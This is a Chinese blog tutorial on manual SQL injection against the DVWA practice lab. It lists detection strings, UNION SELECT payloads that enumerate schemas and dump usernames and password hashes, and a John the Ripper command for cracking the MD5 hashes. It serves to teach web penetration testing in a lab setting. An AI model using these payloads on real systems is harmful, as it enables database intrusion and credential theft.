Web渗透_SQL注入1 web sql注入

wptr33 2024-11-11 16:09 31 浏览

SQL注入

服务器端程序将用户输入参数作为查询条件，直接拼接SQL语句，并将查询结果返回给客户端浏览器；

基于报错的检测方式

' " % ()

基于布尔的检测

1'and'1'='1 / 1'and'1
1'and'1'='2 / 1'and'0
通过真假去判断是否存在SQL注入

检测查询字段

表列数/显示信息位于哪一列

'order by 9--（--后面加个空格） #按查询列号排序（注释符：--）
select * 时表字段数=查询字段数

慢慢减少数字，直到不报错为止

联合查询

'union select 1,2-- （--后面加个空格） ##查询哪个是第一个字段哪个是第二个字段
'union all select database(),2-- （--后面加个空格）

当然，我们可以去替换字段去查询一些敏感信息

'union select user(),version()--

除此之外，还可以替换成其他的全局参数

@@datadir #当前数据库所在位置
@@hostname #查询当前主机名
@@VERSION #查询数据库版本
@@version_compile_os-- #查询操作系统
CHAR() #执行ACSII码转换
md5() #计算哈希值

连接字符串

CONCAT_WS(CHAR(32,58,32),user(),database(),version())

注：这个插件叫hackbar，自己去搜下如何使用

查询所有表 / 所有库

'union select table_name,table_schema from information_schema.tables-- '

统计库中表的数量

'UNION select table_schema,count(*) FROM information_Schema.tables group by table_schema --

Dvwa库中的表名

'union select table_name,table_schema from information_schema.tables where table_schema='dvwa' --+  (+代表空格)

查询Users表中所有列

'union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'--+ (+代表空格)

查询user、password列中的内容

'union select user,password from dvwa.users--+  (+代表空格)

'union select null,concat(user,0x3a,password) from users--+

之后将用户名和密码保存下来

之后去破解密码

john --format=raw-MD5 dvwa.txt

concat_ws

上一篇：如何利用hive技巧实现简单的“品类隔断”(一)
下一篇：Web渗透_SQL盲注 web渗透难不难

Web渗透_SQL注入1 web sql注入

检测查询字段

联合查询

查询所有表 / 所有库

统计库中表的数量

Dvwa库中的表名

查询Users表中所有列

查询user、password列中的内容

相关推荐

C# 13 和 .NET 9 全知道 :13 使用 ASP.NET Core 构建网站 (1)

因果推断Matching方式实现代码因果推断模型

git pull命令使用实例 git pull--rebase

面试官:git pull是哪两个指令的组合?

git 执行pull错误如何撤销 git pull fail

git fetch 和git pull 的异同 git中fetch和pull的区别

git pull 和git fetch 命令分别有什么作用?二者有什么区别?

git pull 之后本地代码被覆盖解决方案

还可以这样玩?Git基本原理及各种骚操作，涨知识了

git命令之pull git.pull

Web渗透_SQL注入1 web sql注入

检测查询字段

联合查询

查询所有表 / 所有库

统计库中表的数量

Dvwa库中的表名

查询Users表中所有列

查询user、password列中的内容

相关推荐

C# 13 和 .NET 9 全知道 :13 使用 ASP.NET Core 构建网站 (1)

因果推断Matching方式实现代码 因果推断模型

git pull命令使用实例 git pull--rebase

面试官:git pull是哪两个指令的组合?

git 执行pull错误如何撤销 git pull fail

git fetch 和git pull 的异同 git中fetch和pull的区别

git pull 和git fetch 命令分别有什么作用?二者有什么区别?

git pull 之后本地代码被覆盖 解决方案

还可以这样玩?Git基本原理及各种骚操作，涨知识了

git命令之pull git.pull

因果推断Matching方式实现代码因果推断模型

git pull 之后本地代码被覆盖解决方案